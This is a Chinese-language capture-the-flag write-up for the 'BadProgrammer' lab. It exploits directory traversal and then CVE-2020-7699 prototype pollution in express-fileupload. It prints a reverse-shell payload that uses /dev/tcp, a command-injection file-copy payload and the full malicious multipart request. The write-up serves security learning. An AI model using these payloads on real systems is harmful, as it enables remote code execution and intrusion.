news 2026/6/6 0:47:29

攻防世界——BadProgrammer

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
攻防世界——BadProgrammer

拿到靶机首先抓包观察用的是什么服务器和框架

发现服务器是Nginx,框架是PHP的express框架

再用dirsearch扫一遍

发现扫出了/static../

意味着服务器存在配置错误,导致了目录遍历漏洞。

当服务器配置不当时,特别是处理静态文件路径时,攻击者可以利用../(上级目录)序列突破Web根目录限制,访问到服务器上的任意文件。

找到源代码(app.js)

许多Web框架(如Django、Flask、Express等)默认采用/static/作为静态文件目录,而源代码一般都为app.js/app.py

const express = require('express'); const fileUpload = require('express-fileupload'); const app = express(); app.use(fileUpload({ parseNested: true })); app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => { res.render('flag.ejs'); }); app.get('/', (req, res) => { res.render('index.ejs'); }) app.listen(3000); app.on('listening', function() { console.log('Express server started on port %s at %s', server.address().port, server.address().address); });

代码审计

app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => { res.render('flag.ejs'); });

定义了一个POST路由,路径是/4_pATh_y0u_CaNN07_Gu3ss,当访问此路径时,服务器会渲染flag.ejs文件。

也许flag就在这个路径里

用POST访问/4_pATh_y0u_CaNN07_Gu3ss

看到flag在 flag.txt 中,但是无法直接访问到 flag.txt

再观察源代码

app.use(fileUpload({ parseNested: true }));

发现代码中使用了express-fileupload中间件,且启用了parseNested: true选项

也许这里存在CVE-2020-7699:NodeJS模块代码注入

但这个漏洞仅存在于express-fileupload版本低于1.1.9(不包含)

在package.json中获取版本信息

发现为1.1.7,低于1.1.9

确定存在CVE-2020-7699:NodeJS模块代码注入

CVE-2020-7699:NodeJS模块代码注入

漏洞成因:express-fileupload中间件在处理文件上传时,没有对参数名进行安全校验,特别是当启用parseNested: true选项时,允许通过特殊构造的参数名直接操作JavaScript对象的原型链。

原型链污染:攻击者可通过上传含有__proto__或constructor.prototype等特殊字段的文件,污染Object的原型,从而影响所有JavaScript对象。

反弹shell通用payload如下:

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/port 0>&1"');x

ip为公网ip,port为探测端口

文件复制payload如下:

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

cpcopy命令,用于复制文件基础文件操作

/flag.txt源文件路径(根目录下的flag文件)目标flag所在位置

/app/static/js/Web应用静态文件目录可公开访问的目录

flag.txt复制后的文件名保持名称不变,避免混淆

初步探测一下,观察是否有过滤

构造报文

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="__proto__.outputFunctionName" x;console.log('TEST');x -----------------------------1546646991721295948201928333--

成功返回,看来没有过滤

最终利用

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="__proto__.outputFunctionName" x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x -----------------------------1546646991721295948201928333--

发送该请求包后,flag.txt将被复制到static/js下,即可得到flag。

curl http://61.147.171.103:58898/static/js/flag.txt

cyberpeace{850ffa1d88ce047bcdcf34dbdbcd1e12}

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/6 14:02:11

想极致优化Windows,还得看这些 系统调教神器_优化小工具

给大家分享几款自己一直在用的 Windows 系统调教小工具,无论是 Windows 10 还是 Windows 11 用户,都能从中受益。 有系统优化需求的小伙伴,千万别错过,赶紧收藏下载! Windows系统调校 绿色版软件 这是一款绿色版软件&…

作者头像 李华
网站建设 2026/6/5 16:12:30

Java 拆分 PDF:使用 Spire.PDF for Java 轻松搞定

在日常的软件开发和数据处理中,PDF 文件因其跨平台、版式固定等特性,被广泛应用于文档传输和存储。然而,有时我们需要对大型 PDF 文档进行精细化管理,例如,将一个多页的合同拆分成单页以便逐页审批,或者从一…

作者头像 李华
网站建设 2026/6/6 14:05:56

零基础入门网络安全:3 个月合规实战路径 + 避坑指南(附真实案例)

零基础入门网络安全:3 个月合规实战路径 避坑指南(附真实案例) 作为一个从行政转行安全运维、如今主业 SRC 副业月入 1W 的过来人,深知零基础学网安的迷茫 —— 怕学不会、怕踩法律坑、怕学完找不到出路。其实网安行业最不缺的…

作者头像 李华
网站建设 2026/6/6 14:01:03

功率MOSFET特性分析与应用考量:以NCE0208KA为例

当选MOSFET时,参数权衡总是免不了的——特别是在设计那些工作在几十到上百伏电压范围的开关电源或电机驱动电路时。只看数据手册首页的电压电流值远远不够,在实际电路中,器件如何开关、发热多少、能否稳定运行,这些往往更关键。这…

作者头像 李华
网站建设 2026/6/6 14:05:55

python一些小细节

GIL锁: 当python使用多线程的时候, 每个线程通过请求这个锁获取运行权。 结束时归还 async/await/asyncio/gather/create_task/ThreadPool 理解asynciohttps://www.bilibili.com/video/BV1oa411b7c9?spm_id_from333.788.videopod.sections&vd_sour…

作者头像 李华
网站建设 2026/6/6 18:55:40

“零基础6个月冲进大厂,现在还来得及吗?很担心自己学不学的会

答案是:“来得及,但极具挑战,且需要正确的路径、极致的学习和一点点运气。”​ 这绝不是一条轻松的路,而是一场需要周密计划的“冲刺”。 “来得及”是因为网络安全行业人才缺口巨大,尤其是具备实战能力的安全工程师、…

作者头像 李华